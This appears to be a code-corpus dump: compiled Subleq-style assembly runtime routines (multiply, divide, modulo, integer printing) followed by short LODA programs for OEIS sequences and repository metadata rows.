t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t2; bp t3; c1 t3; t3 t2
t3; t1; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t1
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t1 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __multr; . ?;
t1; ax t1
c2 sp
t2; t3; bp t2; c7 t2; t2 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t1 Z; Z 0; Z
t2; t1; bp t2; dec t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; c3 t1
Z t1 l146
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end__mul
l146:
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
ax; t2 ax
Z Z end__mul
end__mul:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__putint:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l147
c23 (-1)
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __putintr; . ?;
t2; ax t2
c1 sp
t3; t1; dec t3; t2 t3; t3 t1
ax; t1 ax
Z Z end__putint
l147:
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; c3 t1
Z t1 l148
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __putintr; . ?;
t3; ax t3
c1 sp
ax; t3 ax
Z Z end__putint
l148:
c18 (-1)
ax; dec ax
Z Z end__putint
end__putint:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__div:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c7 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l149
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c1 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l149:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l150
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c2 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l150:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; dec Z; Z t2; Z; t3 t2
Z t2 l151
ax; c3 ax
Z Z end__div
l151:
t1; t2; bp t1; c6 t1; t1 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
t2; t1; bp t2; c2 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __divMod; . ?;
t2; ax t2
c21 sp
t1; t3; bp t1; c7 t1; t1 t3
?+23; ?+21; ?+24; t3 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t2; t1; bp t2; dec t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; c3 t1
Z t1 l152
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end__div
l152:
t1; t2; bp t1; c7 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
ax; t2 ax
Z Z end__div
end__div:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__mod:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
t2; t1; bp t2; c6 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l153
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c1 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l153:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; c3 Z; Z t2; Z; t3 t2
Z t2 l154
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; c2 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
t3; t1; bp t3; dec t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
l154:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; dec Z; Z t2; Z; t3 t2
Z t2 l155
ax; c3 ax
Z Z end__mod
l155:
t1; t2; bp t1; c6 t1; t1 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
t2; t1; bp t2; c2 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t1; bp t3; c1 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __divMod; . ?;
c21 sp
t2; t1; bp t2; dec t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; c3 t1
Z t1 l156
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end__mod
l156:
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 t2
ax; t2 ax
Z Z end__mod
end__mod:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__multr:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c7 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; dec Z; Z t2; Z; t3 t2
Z t2 l157
ax; c3 ax
Z Z end__multr
l157:
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; c6 Z; Z t1; Z; t4 t1
Z t1 l158
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
ax; t3 ax
Z Z end__multr
l158:
t1; t2; bp t1; c7 t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; c3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c6 Z; Z 0; Z
t2; t1; bp t2; c2 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __divMod; . ?;
t3; ax t3
c21 sp
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t3; t1; bp t3; c6 t3; t3 t1
t3; t2; ?+11; t1 Z; Z ?+4; Z; 0 t3; t3 t2
t1; dec Z; Z t1; Z; t2 t1
Z t1 l159
Z Z l160
l159:
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c7 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l160:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
t3; t2; bp t3; c1 t3; t3 t2
t3; t1; ?+11; t2 Z; Z ?+4; Z; 0 t3; t3 t1
t2; t3; bp t2; c1 t2; t2 t3
t2; t4; ?+11; t3 Z; Z ?+4; Z; 0 t2; t2 t4
t3; t2; t1 t3; t4 t3; t3 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __multr; . ?;
t2; ax t2
c2 sp
t3; t4; bp t3; c7 t3; t3 t4
t3; t1; ?+11; t4 Z; Z ?+4; Z; 0 t3; t3 t1
t4; t3; t2 t4; t1 t4; t4 t3
ax; t3 ax
Z Z end__multr
end__multr:
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__putintr:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c6 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t3 Z; Z t2; Z; c3 t2
Z t2 l161
t1; t2; bp t1; c6 t1; t1 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; c8 Z; Z 0; Z
t2; t1; bp t2; c1 t2; t2 t1
t2; t3; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __divMod; . ?;
t3; ax t3
c21 sp
t1; t2; bp t1; dec t1; t1 t2
?+23; ?+21; ?+24; t2 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t3 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __putintr; . ?;
t3; ax t3
c1 sp
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; c18 t2; t3 t2; t2 t1
t1 (-1)
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; t3 t2; dec t2; t2 t1
ax; t1 ax
Z Z end__putintr
l161:
ax; c3 ax
Z Z end__putintr
end__putintr:
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
__divMod:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
c25 sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t5 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c2 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t4 Z; Z t1; Z; t3 t1
Z t1 l162
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c21 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
ax; c3 ax
Z Z end__divMod
l162:
t1; t2; bp t1; c2 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t3; t1; bp t3; c6 t3; t3 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; dec Z; Z 0; Z
l__divMod_next:
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c7 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c25 t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
t1; t2; bp t1; dec t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; t3 t1; t4 t1; t1 t2
t1; t4; bp t1; dec t1; t1 t4
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t1; t2; bp t1; c6 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c6 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; t3 t1; t4 t1; t1 t2
t1; t4; bp t1; c6 t1; t1 t4
?+23; ?+21; ?+24; t4 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t2 Z; Z 0; Z
t5; t2; bp t5; c1 t5; t5 t2
t5; t3; ?+11; t2 Z; Z ?+4; Z; 0 t5; t5 t3
t2; t5; bp t2; dec t2; t2 t5
t2; t1; ?+11; t5 Z; Z ?+4; Z; 0 t2; t2 t1
t5; t1 Z; Z t5; Z; t3 t5
Z t5 l163
t1; t2; bp t1; c25 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; c21 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t4 Z; Z 0; Z
t4; t1; bp t4; c2 t4; t4 t1
t4; t2; ?+11; t1 Z; Z ?+4; Z; 0 t4; t4 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
t2; t1; bp t2; c1 t2; t2 t1
t2; t4; ?+11; t1 Z; Z ?+4; Z; 0 t2; t2 t4
t1; t2; bp t1; c7 t1; t1 t2
t1; t5; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t5
t2; t4 Z; Z t2; Z; t5 t2
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+9; sp ?+5; t2 Z; Z 0; Z
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 __divMod; . ?;
t2; ax t2
c21 sp
t5; t4; t3 t5; t2 t5; t5 t4
ax; t4 ax
Z Z end__divMod
l163:
Z Z l__divMod_next
end__divMod:
?+8; sp ?+4; t5; 0 t5; inc sp
?+8; sp ?+4; t4; 0 t4; inc sp
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
sqmain:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; ?+2 0 _main; . ?; inc sp
Z Z (-1)
. c1:-2 c2:-3 c21:-4 c3:0 c8:10 c28:100 c26:1025 c29:105 c65:107520 c41:10753 c11:11 c32:1103515245 c30:115 c12:12 c15:122 c33:12345 c20:126 c9:13 c61:14 c42:14337 c60:15 c37:1537 c59:16 c58:17 c57:18 c43:18433 c56:19 c6:2 c55:20 c44:23041 c45:28161 c7:3 c38:3073 c13:32 c34:32768 c46:33793 c27:37 c47:39937 c25:4 c4:40 78 85 76 76 41 0 c22:43 c23:45 c48:46593 c18:48 c24:5 c39:5121 c36:513 c49:53761 c19:57 c64:6 c50:61441 c16:65 c35:65536 c51:69633 c63:7 c40:7681 c52:78337 c62:8 c53:87553 c10:9 c17:90 c14:97 c54:97281 c31:99 c5:c4
. t1:0 t2:0 t3:0 t4:0 t5:0 t6:0 t7:0
. inc:-1 Z:0 dec:1 ax:0 bp:0 sp:-sp
| 23.680715 | 534 | 0.460954 |
b8f8ba1c057cea0f70fb962fef631f6579d661f3 | 243 | asm | Assembly | programs/oeis/033/A033387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/033/A033387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/033/A033387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A033387: [ 67/n ].
; 67,33,22,16,13,11,9,8,7,6,6,5,5,4,4,4,3,3,3,3,3,3,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,1
mov $1,67
div $1,$0
| 34.714286 | 191 | 0.510288 |
ea15bc4b3dd175a6d74ac832d7b39a3afe964825 | 2,679 | asm | Assembly | programs/oeis/027/A027789.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/027/A027789.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/027/A027789.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A027789: a(n) = 2*(n+1)*binomial(n+3,4).
; 4,30,120,350,840,1764,3360,5940,9900,15730,24024,35490,50960,71400,97920,131784,174420,227430,292600,371910,467544,581900,717600,877500,1064700,1282554,1534680,1824970,2157600,2537040,2968064,3455760,4005540,4623150,5314680,6086574,6945640,7899060,8954400,10119620,11403084,12813570,14360280,16052850,17901360,19916344,22108800,24490200,27072500,29868150,32890104,36151830,39667320,43451100,47518240,51884364,56565660,61578890,66941400,72671130,78786624,85307040,92252160,99642400,107498820,115843134,124697720,134085630,144030600,154557060,165690144,177455700,189880300,202991250,216816600,231385154,246726480,262870920,279849600,297694440,316438164,336114310,356757240,378402150,401085080,424842924,449713440,475735260,502947900,531391770,561108184,592139370,624528480,658319600,693557760,730288944,768560100,808419150,849915000,893097550,938017704,984727380,1033279520,1083728100,1136128140,1190535714,1247007960,1305603090,1366380400,1429400280,1494724224,1562414840,1632535860,1705152150,1780329720,1858135734,1938638520,2021907580,2108013600,2197028460,2289025244,2384078250,2482263000,2583656250,2688336000,2796381504,2907873280,3022893120,3141524100,3263850590,3389958264,3519934110,3653866440,3791844900,3933960480,4080305524,4230973740,4386060210,4545661400,4709875170,4878800784,5052538920,5231191680,5414862600,5603656660,5797680294,5997041400,6201849350,6412215000,6628250700,6850070304,7077789180,7311524220,7551393850,7797518040,8050018314,8309017760,8574641040,8847014400,9126265680,9412524324,9705921390,10006589560,10314663150,10630278120,10953572084,11284684320,11623755780,11970929100,12326348610,12690160344,13062512050,13443553200,13833435000,14232310400,14640334104,15057662580,15484454070,15920868600,16367067990,16823215864,17289477660,17766020640,18253013900,18750628380,19259036874,19778414040,20308936410,20850782400,21404132320,21969168384,22546074720,23135037380,23736244350,24349885560,24976152894,25615240200,26267343300,26932660000,27611390100,28303735404,29009899730,29730088920,30464510850,31213375440,31976894664,32755282560,33548755240,34357530900,35181829830,36021874424,36877889190,37750100760,38638737900,39544031520,40466214684,41405522620,42362192730,43336464600,44328580010,45338782944,46367319600,47414438400,48480390000,49565427300,50669805454,51793781880,52937616270,54101570600,55285909140,56490898464,57716807460,58963907340,60232471650,61522776280,62835099474,64169721840,65526926360,66906998400,68310225720,69736898484,71187309270,72661753080,74160527350,75683931960,77232269244,78805844000,80404963500,82029937500,83681078250
add $0,4
mov $1,$0
bin $0,4
sub $1,2
mul $1,$0
mul $1,2
| 267.9 | 2,578 | 0.888391 |
cdbed652d7358637a38f7be4d549e56cb19d417f | 9,641 | asm | Assembly | ggsound_ca65/demo.asm | bunder2015/ggsound | cdf78933ce7300ec3e4aae795ea3352e7817c0e3 | [
"Unlicense"
] | 38 | 2017-03-18T19:15:04.000Z | 2022-03-13T09:03:49.000Z | ggsound_ca65/demo.asm | bunder2015/ggsound | cdf78933ce7300ec3e4aae795ea3352e7817c0e3 | [
